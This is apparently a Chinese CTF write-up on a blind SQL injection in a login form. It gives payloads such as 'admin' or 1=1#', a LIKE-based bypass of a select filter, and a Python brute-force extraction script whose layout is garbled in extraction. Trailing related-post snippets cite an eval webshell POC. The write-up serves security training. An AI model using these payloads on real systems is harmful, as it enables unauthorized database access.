這題的sql注入也確實是讓自己漲姿勢了。自己可以說學了mysql就沒有用過like,一直以為它在sql注入裡沒用,沒想到居然可以這樣。
進入環境,是乙個登入頁面。嘗試進行sql注入,發現username為admin' or 1=1#
的時候顯示密碼錯誤,username為admin' or 1=2#
的時候顯示使用者名稱不存在。說明這裡存在布林注入。
開始用指令碼進行注入,但是遇到了一些問題。首先是發現了逗號被過濾,用from for來繞過。接下來又發現select被過濾,想了很多辦法沒辦法繞過。沒了select,去考慮報錯注入,也不行,於是就卡住了。
其實這個點我也注意到了,就是f12檢視原始碼,發現:
user_n3me和p3ss_w0rd略顯詭異。我也猜測是不是提示了資料庫的表或者列,但是因為select被過濾,自己也就沒法進行布林注入,因此就沒多想。
user_n3me和p3ss_w0rd確實是列名,但是想得到內容就不是用select了,用like。
這裡就是我雖然懂語法,但是真的沒香過可以這樣來注入:
username=admin' or user_n3me like x%
---
什麼意思呢?因為這裡的注入點應該是where,相當於where username='admin' or user_n3me like x% -- -
如果user_n3me這列的內容比如以a開頭,那麼user_n3me like a%就成立了,返回密碼錯誤。反之返回使用者名稱已存在,因此可以這樣來進行布林注入。
python指令碼如下:
import requests
url=
''content=
''for i in range(0
,50):
for j in '0123456789abcdefghijklmnopqrstuvwxyz'
: payload=
"admin' or user_n3me like '{}%' #"
.format
(content+j)
data=
r=requests.post(url,data=data).text
#print(r)
if '錯誤' in r:
content+
=j print
(content)
接下來就是:
.bctfg1t提示存在git洩露。而且是關於stash的,接下來的wp網上都有,這裡就不寫了。因為我這裡用githack還有gitextract都不能還原,懷疑是環境有問題,所以就做不下去了。剩下的思路可以參考網上的wp。
這題的like那個姿勢自己真的需要好好學習。最近做了好多道sql注入的題目,用的都是自己會的語法,但是真正注入的時候自己卻一籌莫展。說明自己的sql注入真的好差,一定一定一定要抽時間,去把sqli-labs剩下的題目都刷一遍,相信自己一定可以進步很多。
「百度杯」CTF比賽 九月場 Test
個人收穫 1.連線shell 失敗的時候可以試試多個版本的菜刀,可能是菜刀的問題 2.學會了菜刀資料庫管理的配置 題目介面 有現成的poc search.php?searchtype 5 tid area eval post 1 菜刀鏈結,密碼為1我們用菜刀進行訪問 之前我用另乙個菜刀無法連線,開始...
「百度杯」CTF比賽 九月場 YeserCMS
開啟題目 進入後是乙個cms,但肯定的是這個cms不叫yesercms 於是我們開始隨便翻翻,尋找資訊,後台我也看了除了乙個登陸介面,就沒有其他的提示資訊。上網去查cmseasy的漏洞 然後大致查了下應該是sql注入漏洞 於是構造報錯注入測試一下 回顯內容,還告訴了我們這個sql語句的完整內容,總共...
i春秋 百度杯十月場 EXEC
用 vim r 命令恢復檔案,得到原始碼 flag in flag233.php function check number if digit one digit nine return number 11259375 if isset get sign check get sign else 的意...